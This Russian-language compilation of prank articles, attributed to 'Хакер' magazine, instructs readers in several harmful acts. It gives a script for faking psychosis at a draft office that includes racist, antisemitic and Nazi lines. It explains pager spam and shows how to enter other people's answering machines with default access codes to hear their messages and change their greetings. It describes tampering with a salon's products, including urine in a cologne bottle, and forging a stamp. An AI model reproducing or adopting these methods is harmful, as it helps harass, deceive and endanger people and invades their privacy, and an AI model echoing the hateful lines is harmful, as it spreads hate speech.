Итак, однажды субботним утром бабушка вышла на кухню и увидела своего любимого внучка, жарящего гвозди на медленном огне. На недоуменный вопрос "зачем?" внучек спокойно ответил, что гвозди надо жарить для того чтобы они лучше входили в бетонные стены. Бабушка недоуменно пожала плечами - мол, "век живи - век учись" - и стала заниматься своими делами. Минут через пятнадцать к ней подошел внучек и сказал, что ему надо отойти минут на тридцать, и не может ли она, мол, помочь ему - просто тихонько помешивать эти гвозди в то время, как его не будет дома. Как не помочь родному внучку! И бабушка встала у плиты с железным топориком, который и использовался внучком для помешивания. Парнишка же пошел вызывать скорую психиатрическую - "бабка, мол, совсем с катушек слетела, стоит у плиты и гвозди жарит". Скорая приехала минут через десять...
Прощай, молодость!
Все-таки советские врачи - самые гуманные врачи в мире. Для того чтобы забрать человека в психушку, им недостаточно увидеть его, жарящего гвозди. Решили попробовать разобраться с бабушкой на месте - и после короткого разговора выяснилось, что пожарить гвозди ее попросил родной внучек, который как раз в это время возвращался с улицы... С ним решили на месте не разбираться, а сделать это в условиях стационара. После того же как он искусал санитара, судьба его определилась на довольно продолжительное время.
Warning!
Помни: психика - вещь тонкая, и западло в этой сфере может ударить бумерангом по западлостроителю. Так что если тебя привезут ко мне или к доктору Пилюлькину на машине с красным крестом и с завязанными сзади рукавами смирительной рубашки - не говори, что тебя не предупреждали. Успехов!
Оторвись в военкомате
Время пришло в гости отправиться, ждет тебя старинный друг. Он толстый и славный, твой друг самый главный... Да, комрад, пробил исторический час: на тебя снизошла повестка в военкомат. Слабовольные типы сразу же побегут во всяческие комитеты солдатских матерей, начнут писать письма в Совет Европы и жаловаться на нарушение прав человека. А зачем, спрашивается? Ведь прохождение медкомиссии - это чудо Господне! Слепые прозревают, глухие начинают слышать, хромые буквально готовы хоть сейчас кросс бежать, если верить заключению врачей. Аллилуйя! Не упускай столь редкий случай повеселиться - отправляйся в военкомат. Быть может от армии ты и не откосишь, но вот что тебя в этом заведении запомнят надолго - это точно.
Операция "Пневмослон"
Для начала следует закапать глаза "Визином", чтобы они приобрели нездоровый блеск и белизну. Затем нужно повесить за спину советскую бензопилу "Дружба", взять в руки сачок для бабочек, мухобойку и уже в таком виде отправиться проходить медкомиссию. Да, чуть не забыл: с собой обязательно надо захватить ножницы и папиросную бумагу. Все, хер уи гоу! И вот перед тобой он: заветный коридор со множеством дверей и сидящими на скамейках юношами, а также их нервными родителями. Очередь к терапевту, очередь к окулисту... Тебя это не касается: крадущейся походкой, постоянно оглядываясь по сторонам и изредка нагибаясь (будто над тобой кто-то пролетает), медленно и торжественно иди к кабинету психиатра. Не волнуйся, тебя никто не остановит и не заорет, что надо встать в очередь, - все поймут, что твое дело крайне срочное и не требует отлагательств. Смело заходи внутрь и игриво бросай с порога:
- Доктор, а я к вам...
- Хорошо, хорошо, голубчик, - проходите, садитесь.
Садишься за стол, кладешь на него папиросную бумагу и начинаешь стричь туда ногти с рук. После окончания этой захватывающей процедуры скручиваешь папироску, прикуриваешь, затем глубоко затягиваешься и выпускаешь клубы ароматного дыма доктору в лицо:
- Доктор, вы знаете, они повсюду! Даже сам Лорд Пневмослон боится этих тварей. СМЕРТЬ! СМЕРТЬ! Я ДОЛЖЕН ВСЕХ УБИТЬ!
Сразу же после этих слов туши самокрутку о ладонь и с диким воплем бросайся на медсестру-ассистентку. Лови ее сачком и бей по заднице мухобойкой. Постарайся при этом задеть и уронить на пол какие-нибудь склянки и инструменты. Схвати свое дело и начни его натурально жрать. Когда в кабинет прибежит охрана, тотчас залезь под стол, включай бензопилу и безутешно рыдай. На все вопросы только качай головой и кричи: "Вы не понимаете! Я должен всех убить!!!".
Девушки из шоу
Достань фиолетовый парик, мини-юбку из салатового пластика, пояс с подвязками и сексапильные чулки. Одевай весь этот wear и попроси сестру или подружку сделать тебе суперский мэйкап. Глазки, ротик, ногти - все дела... В военкомате, проходя по коридору до кабинета какого-нибудь офицера, заигрывай с самыми симпатичными парнями (в первую очередь с секьюрити): "Ма-а-альчики, а вот вам мой телефончик, надеюсь, вы не дадите скучать малышке Кики". Войдя в кабинет, незамедлительно прошествуй к столу самой сексапильной походкой, небрежно брось сумочку на стол и, зайдя вояке за спину, начни ласково массировать ему плечи:
- Това-а-арищ военный, а что это вы порядочным девушкам повестки в военкомат высылаете? У вас же столько мальчиков милых есть. Ну-ка отвечай, шалунишка!
- Д... да как вы смеете? А ну, быстро прекратите поясничать! Как вас зовут?
- Кики... то есть, простите, призывник Шеповалов (издевательским тоном). Военный, наденьте фуражку, меня это та-а-ак возбуждает.
- Пошел вон отсюда, сопляк!
Обиженно фыркни и быстро встань в угол. Там достань свой пеппер и, периодически оглядываясь на вояку, со стонами начни сеанс легкой мастурбации. Во время этого процесса непрерывно говори что-нибудь вроде: "Да, я гадкий, испорченный мальчишка. Отшлепай же меня скорей. Ооо, нет, лучше пошли ко мне домой - у меня есть удавка, плеть, наручники... Ооо, я буду твоим рабом, грязью под твоими ногами, я хочу, чтобы ты кончил мне в правый глаз". Когда кто-то будет входить в дверь - тотчас же бросайся на колени перед офицером и делай вид, будто только что закончил делать ему минет.
Килл эм олл
Сделай аккуратную короткую стрижку и подбери прикид в духе фильма "Коммандос": защитная куртка с навешанными на ней учебными гранатами, начищенные до блеска армейские ботинки, сложенный парашют за спиной. Лицо измажь черной краской в целях маскировки, а на пояс повесь большой охотничий нож и массивный пневматический пистолет. Также будет неплохо нарисовать себе черной тушью пару псевдотатуировок на шее: большую жирную свастику и группу крови с коэффициентом совместимости органов. Окей, ты готов к труду и обороне! В военкомате, эффектно чеканя шаг своими металлическими набойками, загружайся в кабинет к самому важному вояке и громогласно рапортуй с мега-энтузиазмом:
- Товарищ Главнокомандующий Объединенными Силами ООН, призывник Шеповалов для прохождения медицинской комиссии и дальнейшего проследования в область боевых действий прибыл!
- Вольно, сынок, не стоит так усердствовать... да и какой я тебе главнокомандующий.
- Так точно, товарищ главнокомандующий! У меня одна просьба: направьте меня в Китай: ненавижу этих узкоглазых ублюдков, я буду насиловать их женщин и убивать детей. Если же послать меня туда невозможно, прошу зачислить меня в экстремистскую организацию "Руины Иерусалима". Мой дед, рейхсфюрер эсэс, приложил все силы, чтобы проклятые евреи исчезли с лица земли, а отец нещадно жег напалмом вьетнамских ублюдков, я хочу продолжить их дело. Товарищ главнокомандующий, в коридоре я видел несколько этих вонючих узкоглазых шпионов - разрешите приступить к ликвидации?
И тут же, не дожидаясь ответа, полосни по своему плечу ножом, слижи появившуюся кровь, а затем бросайся к двери с жутким воплем.
Люди в черном
Надень строгий костюм, прикрепи на него бейджик "Анатолий Звягинцев: Межгалактический Комитет По Вопросам Соблюдения Транснациональной Политики и Прав Гуманоидов, старший ревизор". Сунь в одно ухо наушник, надень черные очки и направляйся в свой военкомат. Там гуляй, разглядывая стенды на стенах, призывников и служащий персонал, постоянно что-то записывая и отмечая в своем блокноте. Периодически заходи в различные кабинеты, невозмутимо бери дела призывников и опять же делай пометки. Игнорируй любые вопросы и обращения к тебе. Периодически отпускай в никуда едкие замечания вроде:
"Так-так, значит с плоскостопием взяли... учтем".
"Угу, коэффициент допустимости генетической компрессии превышен на 28 процентов".
"Ничего, тех двух майоров под трибунал, а этого... ну, что-нибудь придумаем".
"Кто это у нас тут совсем со взятками обнаглел, ага, такой-то". (произносится фамилия хозяина кабинета)
"Разжалую ублюдков к чертям собачим. Будут на Новой Земле землянику сеять, генералы фиговы".
В конце своей миссии, когда тебе принесут кофе и кейс с баксами, возьми с полки свое дело и скажи: "Ага, и Шеповалова загребли, сукины дети, ну я Владимир Владимирычу передам, он вас всех через одного у стенки построит".
Гашиш и Карлсон
Из эквипмента тебе понадобится: несколько таблеток и капсул всевозможных цветов и размеров (подойдут любые мультивитамины), пакетик с растертым в порошок аспирином, шприц, а также ампула с какой-нибудь безопасной для организма жидкостью (например, с физраствором). Дня три сиди дома и ничего не ешь, чтобы приобрести характерную впалость щек и зеленоватый цвет лица. А уже перед самим походом в военкомат сделай себе дополнительный мэйкап: круги под глазами, следы от уколов на предплечье и между пальцами, грязные спутанные волосы. Надеть следует жуткую рваную рубашку с короткими рукавами, чтобы сразу было ясно, какой ты передовик самодеструктивного труда. В военкомате не суетись, жди очереди, все время чешись и разглядывай свою обувь. Перфоманс же следует устроить у терапевта. Чуть-чуть поговори с ним для отвода глаз, а затем вдруг резко закати глаза и жутким голосом попроси стакан воды. Когда тебе его дадут, тотчас демонстративно выпей все таблетки и раскатай на столе пару дорожек аспирина. После того как на глазах офигевшего врача ты их смачно вынюхаешь, следует сделать довольный фэйс, достать шприц и ввести в него содержимое ампулы. Затем скажи: "Вот черт, опять жгут забыл. Доктор, вы мне руку не подержите? Или ладно, все равно там уже колоть некуда - все вены дохлые, придется в шею". С этими словами встань перед зеркалом, шумно подыши и засади физраствор в увеличенную вену на шее. Обожди несколько секунд и расслабленно опустись на пол со словами: "Доктор, я ведь совсем не против службы в армии. Но вот одна просьба есть: вы бы не могли меня порекомендовать для опытов в какую-нибудь сверхсекретную биолабораторию, чтобы на мне новые сыворотки и вакцины испытывали?".
Операция "Пневмослон-2"
Как ты уже наверняка догадался, в центре нашего внимания снова окажется душка-психиатр. На этот раз, однако, тебе не придется брать с собой бензопилу и закапывать глаза - ты должен выглядеть как самый обычный ботан, всенепременно в очках и с постоянной улыбкой на лице. Робко, с неуверенной миной на лице заходи к нему в кабинет:
- Здравствуйте, Доктор!
- Здравствуй, здравствуй. Проходи - садись.
- Доктор, а это правда, что мне дадут оружие?
- Да, конечно, почему бы нет, ты же защитник своей Отчизны.
- Доктор, а правда, что я смогу из него убивать людей? (постарайся взвизгнуть, когда будешь произносить слово "убивать") Раз - я выстрелил, и он умер. Лежит весь такой мертвенький, холодный. А я подойду и поцелую его в губы. Доктор, а я могу своих сослуживцев убивать? (снова взвизгни) Ну да, конечно, могу, а то вдруг они предатели и шпионы. Доктор, доктор, у вас случайно не будет чуть-чуть китайского супер-клея? Знаете, я очень люблю иногда подышать китайским супер-клеем. Особенно, знаете ли, если убьешь кого-нибудь, то обязательно нужно вовремя подышать - иначе тебя может укусить призрак. Но я не боюсь призраков, доктор. И еще, знаете что: меня в детстве никогда не насиловали. Да-да, это правда. И еще об меня никто и никогда не тушил сигареты! ТЫ СЛЫШИШЬ, МЕРЗКИЙ СТАРИКАШКА, НИКТО И НИКОГДА!!! (эту фразу нужно проорать психиатру в лицо, брызгая фонтанами слюны) Вот. Доктор, а вы когда-нибудь убивали кочергой маленьких детей? Знаете, мне их так жалко - уж очень они кричат сильно. Так у вас клея лишнего не найдется?
Окей, фэлла, я думаю, ты просек, как надо себя вести в этом замечательном учреждении. Главное - побольше артистизма и импровизации, хорошенько войди в образ и ты проведешь замечательный денек в дурке, КПЗ или изоляторе. Дерзай!
Все вышеприведенные материалы взяты из (угадайте, откуда? Не-e-e-т, неправильно!) из журнала "Хакер"
Пагер - брат автоответчика
Привет. Сегодня мы с тобой будем прикалываться.
Я расскажу тебе, как можно весело провести время
издеваясь над обладателем пейджера и операторами.
А еще ты узнаешь, как можно заставить нервничать
секретарш, использующих автоответчик.
Скинь на пейджер мне, на пейджер...
Ну, начнем мы с пейджеров. Все приколы с пейджерами можно разделить на две категории: приколы над владельцем пейджера и приколы над операторами, которые принимают твои сообщения.
Как отправлять сообщения? Во-первых, ты можешь просто позвонить оператору и надиктовать ему сообщение - этот способ отправки необходимо использовать при приколах над операторами (когда диктуешь очень сложные слова или несешь полный бред). А второй способ передачи сообщений - это отправка их через Интернет с какого-нибудь пейджергейта. О них подробнее. Пейджергейты - это такие сервера, заполнив форму на которых, ты можешь отправить сообщение на любой пейджер без участия оператора. Это удобно, когда ты сидишь в Инете, и единственная телефонная линия занята, или если ты хочешь отправить очень много сообщений за раз без напряга (типа, пейджер спам ;)). Лично я пользуюсь (и тебе советую) двумя серверами: http://send.ru и http://www.pagergate.ru. На этих серваках представлены практически все операторы России (и не только). Теперь о том, как ими пользоваться. Если посмотреть глазками - все сервера по отправке сообщений похожи друг на друга. Сначала выбираешь нужную страну и город. После твоего выбора, скорее всего, произойдет перезагрузка страницы и появится список доступных операторов для конкретного города. Теперь тебе нужно выбрать оператора. Если ты не знаешь его название, но знаешь первые три цифры телефона, ты можешь легко найти по ним нужного тебе оператора. Тут наступает самая ответственная часть: введи номер нужного тебе абонента и свое сообщение. Если ты отправляешь мессагу через сенд.ру, то у тебя появится возможность указать дату отправки сообщения. То есть отправить сообщение не сейчас же, а спустя некоторое количество времени. Написал? Отправляй!
Алле, Operator?
Ну а с отправкой сообщений через оператора не должно возникать никаких проблем.
Итак, братишка, приступим. Ты звонишь оператору (или заходишь на сайт), называешь номер своего друга/подруги/... и начинаешь диктовать сообщение. Специально для тебе я отобрал самые прикольные сообщения, которые сильно развеселят обладателя тамаготчи аkа пейджер и повесят намертво (так что тремя пальцами не оживишь ;)) бедного оператора. Вот они:
Что ты смотришь на меня - это я, твой пейджер.
Коля, мне домой не звони. Я у тебя.
Паша, если хочешь, я дома. Вова.
У меня Наташа. Не могу прокормить.
Привет. По-моему, у нас с тобой будет маленький. Твой пейджер.
Или: сперва отправляешь такое сообщение:
Идет подготовка к отключению вашего пейджера.
А через минуту:
Теперь питание можно отключить!
А эти сообщения надо отправлять по очереди с небольшим интервалом.
Переключи пейджер в режим вибрации.
Положи пейджер в передний карман штанов.
Ты чувствуешь, как сильно я тебя люблю?
Димулька. Я жду тебя дома и приготовила тебе вкуснейший супчик! Вася.
Саша, не спеши - бабушку уже стошнило!
Мой ноги, я уже в дороге. Маша.
Митя, подъедешь ко входу, зайди ко мне сзади.
Марина, мы у тебя дома. Если вздумаешь придти, пожалуйста, предупреди нас!
Поимей для разнообразия совесть, позвони мне. Катя.
Милый, ты знаешь, в чем фишка? Твои носки лежали на столе у меня дома.
Буду поздно. Суп на полу - вытри.
Я жду тебя в ванной. Срочно.
Дима, чем удобряли, то и выросло!
Купи, пожалуйста, туалетную бумагу и приезжай домой срочно!
Ты забыл у меня свой пейджер, приезжай - забери.
Если ты научишься выговаривать следующее предложение и продиктуешь его оператору, то это будет просто супер:
Леша, скажи маме, какие лекарства надо купить: aнизоилированный активатор комплекса стрептокиназы и плазминогена, а еще нужна билатеральная сальпингоофорэктомия.
Также ты можешь использовать такие словосочетания:
острая воспалительная демиелинизирующая полирадикулонейропатия, диссеминированная гонококковая инфекция, этилендиаминтетраацетат, эндоскопическая ретроградная, холангиопанкреатография, идиопатический гипертрофический субаортальный стеноз.
ОЧепЯтки и педеадресациЯ
При отправке сообщений операторы часто делают опечатки: посмотри, где на клавиатуре расположена буква «ю». А что расположено левее? ;)) Подпись Юля встречается довольно часто...
Только сильно не увлекайся, а то человек может нервным стать. И каждый раз, когда ему будет приходить новое сообщение, его будет бросать в пот ;)). Ну а если человек тебе сильно досадил, ты можешь подписать его на все рассылки СитиКэта (http://Subscribe.ru). Для этого открой почтовый ящик на www.beep.ru и подпиши его на рассылки. А в разделе переадресации поставь переадресацию всех писем на пейджер. Это настоящее зло!
Говорит автопилот
Так, с пейджерами разобрались, теперь перейдем к автоответчикам. Что можно сделать с отдельно взятым автоответчиком, стоящим у знакомого или в какой-нибудь конторке? Прежде всего его можно прослушать с другого телефона! Эта замечательная функция есть у многих автоответчиков, а автоответчики фирмы ПорноСлоник (Panasonic) обладают еще и возможностью перезаписать сообщение, которое слышит звонящий. Разве это не здорово? Все было бы хорошо, но для того чтобы управлять автоответчиком с другого телефона, необходимо знать код. Чаще всего владельцы автоответчиков не меняют его, т.е. какой код записали при изготовлении, такой он и есть. А у некоторых автоответчиков даже нет возможности его поменять. Если ты знаешь модель автоответчика, то тебе не составит никакого труда узнать и код. Для этого идешь в любой магазин, где продаются автоответчики, и узнаешь у продавца стандартный код. Если продавец его не знает, то можно попросить почитать описание. Код надо вводить во время проигрывания приветствия. Иначе если включится запись, то все твои попытки запишутся на пленку. Для ввода надо переключить телефон в режим тонового набора. Вот коды к некоторым популярным моделям автоответчиков.
Но знать коды доступа еще мало. Кроме этого надо знать управляющие коды. То есть после ввода кода доступа (правильного) ты услышишь гудок, и тебе становятся доступны управляющие коды. Вот часть управляющих кодов к некоторым моделям автоответчиков.
Для ПорноСлоников/General Electric:
5/2 - Прослушать все сообщения.
3/8 - Сбросить автоответчик. При этом теряется информация о наличии новых записей, и очередные записи пишутся с текущего положения ленты.
7/4 - Начать запись нового приветствия.
9/4 - Остановка записи приветствия. После этого, нажав 0, можно послушать, как записалось.
Если у тебя есть доступ к автоответчику, то можешь записать сообщение «не отходя от кассы».
Мессаджез
Теперь сами сообщения. Все что от тебя требуется - это записать их на автоответчик. Часто небольшие компьютерные (и не только) конторки используют автоответчики, включая их на ночь, ты можешь подшутить и над ними. А можешь записать у себя дома ;)).
Здравствуйте! Это Пентагон, центр наведения ядерных ракет. Оставьте свои координаты!
Алё! Да нету тут никого, говорите, что вам надо, и идите на <сигнал>.
Здравствуйте, дяди и тети!
Может быть - мы на работе!
Может быть, заняты ЭТИМ!
Чем? Мы Вам позже ответим!
Что-то сказать нам хотите?
Будет гудок - говорите!
Здравствуйте! Автоответчик сегодня заболел и с вами говорит холодильник...
(Холод, хе-хе ;))
Мы не можем подойти сейчас к телефону. После гудка, пожалуйста, оставьте ваше имя, телефон, номера счетов Master Card, Visa или American Express, и мы перезвоним вам, если ваша платежеспособность подтвердится.
Здpасьте, вам кого? Hет, сейча
с ничего говорить не надо, вот пропищит - тогда и говорите.
Алё... Я вас не слышу... Громче!.. ГРОМЧЕ!! И незачем так орать, это автоответчик. Все что вы хотите сказать я и так запишу.
Здравствуйте, с вами говорит автоответчик оперативного отдела по борьбе с организованной преступностью. Вы все еще хотите что-нибудь сказать?
Здравствуйте, с вами говорит автоответчик. Все, что Вы думаете обо мне, вы скажете потом, а вот что я думаю о вас: <сигнал>.
Это автоответчик. Вы имеете право хранить молчание. Вы имеете право не отвечать на вопросы. Все, что вы скажете, может быть обращено против вас. Запись включится после сигнала.
Внимание! Hа данном телефоне находятся материалы, которые могут быть прослушаны только лицами, достигшими совершеннолетия. Если вы не согласны с этим условием, повесьте, пожалуйста, трубку.
ПользуйсЯ!
Это самая малая часть подобных приколов! Ты наверняка сможешь придумать что-нибудь свое в 100 раз прикольнее этого. Если нет - посети этот сайт: www.answeringmachine.co.uk. Там уйма таких приколов в wav’ах. Правда, все на буржуйском языке ;((.
Поменяй сообщения всем своим знакомым!
Удачи!
Парик мне на лобок!
Привет, заросший по самое не могу, небритый и нечесаный перец (интересная картинка получается, если подумать не совсем о том, о чем надо =). Сколько попыток оторвать заднюю мозоль от стула и пойти в парикмахерскую за последние два месяца ты сделал? Мозоль слишком тяжелая? Понимаю... Но надо, надо! А то скоро будешь не только девиц пугать своим видом, но и товарисчей в форме =). Я вот тоже сходил... Соскоблил, значит, я себя со стула... мать честная, а за окном уже воскресенье! Нормальные парикмахерские не пашут. Но люди добрые рассказали мне, что за тридевять кварталов от моего дома есть цирюльня, которая работает. Приняла меня какая-то молодуха. Час над моей башкой измывалась, криво постригала, ухо поцарапала, да еще 80 ре как с куста! Блин, война таким хiрским!
Партизанская война
И пропал я из инета на неделю... Пришлось снова посетить это заведение. Сперва я стянул со стенда прайс-лист. Далее я дождался своей очереди и сел на кресло. Пока тетка ходила за чем-то там (перекурить, наверное), я выяснил, в каком флаконе она держит шампунь (этикетка, форма бутылки, цвет жидкости), в каком - духи, в каком - лак для волос. Дальше мне пришлось постричься еще раз. Вообще, я уже морально приготовился расстаться со своими волосами раз этак несколько. Всю ночь и весь следующий день я готовился. Я перепечатал прайс-лист, перемежая нормальные наименования услуг, типа стрижка "под бобрик" и стрижка ногтей, такой вот экзотикой: распил рогов, лужение заднего прохода, стрижка лобка "модельная", полировка яичек, завивка волос на груди и спине, перманент подмышечный, макияж ягодиц. Далее была подделка печати: отсканировал, распечатал на цветном струйняке, а потом долго доводил малюсеньким тампончиком и штемпельной краской. Если очень не приглядываться, получилось нормально. Днем я искал нужный шампунь, духи и краску в баллончиках, похожих по расцветке и размеру на вражеский лак. Шампунь я перелил в другую посудину, а на его место залил растительное масло (без запаха, бледного цвета), подкрашенное зеленой краской (шампунь был зеленый). В пузырек из-под одеколона был залит исключительно полезный для здоровья продукт, а именно - моя моча (кто заинтересовался, пишите на мыло - обеспечу =)). Баллончик с краской был в некоторых местах доведен до ума мелкой шкуркой, а на надпись "Эмаль фиолетовая" был наклеен ярлык со штрихкодом.
Сексуальный контакт
Итак, я снова уселся в кресло. Быстро достал из сумки причиндалы и расставил по местам. Минут через пять явилась газонокосильщица. "Какую вам стрижку?" - вяло поинтересовалась она. "Сейчас я вам объясню, - отозвался я. - Завтра я встречаюсь со своей девушкой, и мы хотим провести романтический вечер. Я хочу ее приятно удивить. Сделайте мне модельную стрижку лобка. Сейчас я покажу вам, где сделать пробор", - быстро тараторю я и одновременно расстегиваю ремень и ширинку. Знать, вида моих трусов она не перенесла =). На мою голову обрушился настоящий поток, сопровождаемый тычками в спину: "Д-да как ты смеешь?! Ах ты, урод! Извращенец!!! Вон отсюдова! Здесь нормальная парикмахерская, а не ваши салоны для ублюдков!". Ну, свои дела я уже сделал, поэтому не замедлил удалиться, но потом вернулся...
Мины рвутся по углам
В зал завалились два перца и радостно заявили, что не отказались бы сделать стрижку лобка или полировку яиц - благо, цена приемлема. На начавшуюся было бурю они ответили, что не надо, мол, в прайсе писать, если не делаете. Все дружно вывалились в предбанник и узрели там мой прайс, естественно. Газонокосильщица позеленела, вынула прайс, порвала и выкинула в урну. "Спасибо за улику", - сказал я и забрал обрывки. Надо сказать, что перцы мной не планировались, а появились сами, за что им биг сенкс =).
Зашел следующий по очереди и пропал. Не было его довольно долго. Наконец, он появился. Вот что он поведал, сопровождавшей его девушке. Эта дура пыталась помыть ему голову, но, видно, шампунь у нее какой-то дурацкий: не мылится ни фига, да еще и зеленым красится. Потом она стрельнула шампунь у соседки и еле-еле отмыла ему голову, кое-как его постригла, причесала, но волосы до сих пор какие-то склизкие. В общем, плохая парикмахерская. А я что говорил =)?!
Следующие пять человек прошли без эксцессов. Но вот кому-то приспичило сделать укладку. Пять минут было тихо. Затем на ожидающих низвергся поток ругани: мол, что они себе позволяют, пи, пи, пи, он сегодня улетает за границу, а у него, пи, вся голова ФИОЛЕТОВАЯ, пи. Делайте, что хотите, пи, но голову ему отмойте, пи, пи, пи. Смиренные извинения, долгая кропотливая работа, сопровождаемая грозным ворчанием. Наконец-то, он вышел... Мама моя, пострижен почти "под ноль", полголовы с фиолетовым оттенком. Я стоял в лестничном пролете чуть выше и думал, что обгажусь от смеха (простите за грубость, конечно, но так и было: не знал, какую дырку затыкать, чтобы чего не забрызгать или себя не выдать).
Набравшись смелости, я заглянул в зал. Газонокосильщица откупоривала все пузырьки и нюхала или брызгала себе на руку. Тут она добралась до моего одеколона, вылила себе на руку и понюхала. Я думал, ее сейчас стошнит. Нет, выдержала! Молодец, тетка!
На этом я покинул сию цирюльню. Навсегда.
Червивый клиент
Когда я был мелкий, я как-то раз отдыхал в лагере и заразился там вшами. Обнаружила это парикмахерша. Тетушка повела себя очень корректно: не стала орать, что у меня вши, а позвала мою мать и тихо ей об этом сказала. И вот сейчас, в зрелом возрасте, здравом уме и твердой памяти, я решил проверить на корректность современных брадобреев. Я достал из заначки мучного червя (кто прохлопал все на свете - смотри #12 Y2K) и пошел в довольно-таки приличную парикмахерскую. Шевелюра у меня выросла уже вполне пышная, поэтому черви расположились в ней уютно. Итак, я взгромоздился на кресло, объяснил что к чему, и она уже было принялась за работу, но, вдруг, заметила: "Ой, а у вас в голове черви!". - "Надо же, опять заразился!", - воскликнул я. Она отодвинулась от меня подальше и громко затараторила: "Я не буду вас стричь! Идите к врачу! Уходите немедленно!!!". Я поднялся, подскочил к ней и вытряс всех червей из головы прямо на нее. Она дико завизжала, саданула мне ладонью по лбу и выбежала. Не знаю, чего она там подмывала, но такта у нее от этого явно не прибавилось =).
Чтоб не мерзла голова, суйте шапки в рукава...
Ну вот, мой заросший друг, я и поведал тебе историю своей нелегкой жизни за последний месяц. Тебе решать, будешь ли ты совершать великие подвиги (о которых потом расскажешь мне =)) или предпочтешь склизкую фиолетовую недостриженную шевелюру. Бывай! Не застуди лысинку =).
[size=1]Пугающий подъезд[size]
Дело было так
Сижу на работе, никого не трогаю, души починяю :-). И тут привозят ко мне двоих - на первый взгляд, с шизофренией. Речь их была сбивчива, местами неразборчива, мышление аморфно. Тем не менее, удалось выяснить, что санитары скрутили их в тот момент, когда они засовывали манекен, украденный из Детского Мира, в подлестничное пространство - объяснив свои действия тем, что "а вот под лестницей мы еще никого не пугали, аааа!!!!". Пытались напугать санитаров, корча рожи, издавая неприличные звуки и размахивая манекеном. Ну, санитары у нас бывалые, их таким не стреманешь. После краткого трехмесячного курса терапии (атипичные нейролептики с постепенным добавлением антидепрессантов - ингибиторов реаптейка серотонина) в их бумагах был обнаружен некий текст, который приводится ниже практически без редакции. Как выяснилось, ребята плюс ко всему возомнили себя журналистами: для более же полного сходства они стали называть себя "Доктор Пранк" и "Доктор Штейн", а своего знакомого фотографа, снимавшего их безобразия - почему-то "Доктор Добрянский". Плагиат, однако. Мои же комментарии ты найдешь в конце... статьи, разумеется. Итак, вот он, искомый текст.
Гуляя по Москве...
"Однажды мы гуляли по Москве и, зайдя в один торговый центр, увидели там вот такое... Не, ты пойми нас правильно: манекены мы видели и раньше, но почему-то именно в этот момент в наши головы без крыши закралась одна шаловливая мыслишка: а как бы смотрелась подобная нога в подъезде жилого дома? Представь: выходишь ты из квартиры - а там... Но творческая мысль пошла еще дальше - и в итоге около нашего дома целый день дежурила скорая психиатрическая помощь. Ну, то есть приезжала, отвозила - и опять приезжала.
Всадник без туловища
"Для начала мы решили хорошенько подготовиться. Для воплощения первой задумки был перетряхнут гардероб нашей бабушки. Были выбраны старые брюки и валенки - и еще куча тряпья для придания объекту формы. Две деревянные палки были воткнуты в штанины, тряпье сформировало объем. Валенки были закреплены на булавках.
Собственно, готово. Кушайте на здоровье..."
ГИБДД вызывали?
"Для начала была сымитирована довольно банальная (к сожалению) ситуация - наезд на пешехода. Правда, мне кажется, что это был первый случай наезда на пешехода на этаже жилого дома... Так что первого вышедшего из квартиры встретили слегка помятые ноги, выглядывающие из-за угла, между которых лежало... колесо. Ну, наехало оно, в общем, на то самое место. Так сильно наехало, что аж туловище оторвало. Знаешь, я не буду тебе описывать первую реакцию этого жителя. Не маленький, сам можешь представить. Хотя в итоге он набрался смелости подойти поближе и убедиться, что это все-таки манекен. А потом он и вообще обнаглел. Представляешь, он стал внимательно рассматривать мою запаску и, видимо, решил, что она ему подойдет! И, воровато оглядываясь по сторонам, покатил это колесо к своей двери! Пришлось выйти из укрытия и популярно объяснить ему, что это колесо дорого мне как память о нелепо погибшем товарище (действительно, я не могу представить себе более нелепой смерти :-)), поэтому я вынужден забрать его. Бешено вращающиеся глаза несчастного подсказали мне, что пора, пора звонить доктору. Первый пошел..."
Чиста, чиста трубочиста
"Вторым местом для психологической (или все-таки психиатрической?) атаки стал мусоропровод. И ноги были засунуты туда валенками наружу. Вышедшему выбрасывать мусор соседу пришлось срочно возвращаться в квартиру (за веником и совочком) - он оказался очень совестливым и решил собрать содержимое выпавшего у него из рук мусорного ведра. Затем он походил вокруг объекта минут десять, потрогал его - потом почему-то отшатнулся и пошел выбрасывать мусор на другой этаж. Возвращаясь, он обошел мусоропровод нашего этажа по большой дуге. Второй пошел..."
Следи за собой, будь осторожен
"Следующего жильца нам пришлось ждать довольно долго. Все-таки не каждый, выходя из лифта, смотрит на лестницу черного хода. Невнимательность, знаете ли. Можно пропустить очень много интересного ;-). По крайней мере, у нас самому наблюдательному достался приз - отдельная палата. Ибо, выйдя из лифта, он увидел не что иное, как все те же ноги, свисающие с балкона верхнего этажа. Немного постояв в задумчивости, он все-таки решился подойти поближе. Чем ближе он подходил, тем белее становилось его лицо... Наконец, он завизжал и побежал к себе. Приезд милиции и скорой помощи, а также безуспешные поиски повешенного мы решили переждать в своей квартире. И только убедившись, что скорая все-таки уехала не налегке, мы продолжили наши изыскания."
Раз ступенька, два ступенька
"Как выяснилось, очень прикольно такие ноги смотрятся на черной лестнице. Очень сюрреалистично, очень трансцендентально. К сожалению, в нашем доме по черной лестнице никто не ходит - судя по всему, там только писают и какают (встретили бы этих скотов - наделали бы из них еще манекенов, честное слово). Ломать же оба лифта для того, чтобы заставить бабушек и дедушек подниматься таки по черному ходу мы сочли несолидным и совсем не по-хацкерски. Так что на фотке ты можешь просто посмотреть, как это смотрится в жизни.
Это наш дом, это наша улица
"Посидев и почесав репу, мы задумались, - а почему только подъезд, собственно? И решили порадовать еще и прохожих. Для этого все те же ноги были высунуты с балкона второго этажа (тоже о лестнице речь, естественно). Мол, решил человек отдохнуть, свесив ножки. Или спрыгнуть хочет. Или... неважно. Версий мы наслушались. Ибо первый же прохожий, постояв в уже знакомой нам позиции (рот открыт, ноги подкошены) минут пять, потихоньку начал собирать вокруг себя толпу, которая с видом знатоков принялась обсуждать ситуацию. Можно было подумать, что подобное они видят каждый день - и теперь просто надо определить, что же приключилось с этим человеком именно сегодня. Прикол в том, что никто не догадался зайти в дом и посмотреть - а что, собственно говоря, происходит? Эх, не любопытный все-таки у нас народ, совсем не любопытный. Наибольшую же реакцию вызвало внезапное исчезновение объекта. Толпа гудела еще где-то с полчасика. На балкон второго этажа так никто и не поднялся."
Девушка, уберите ноги! Аааа...
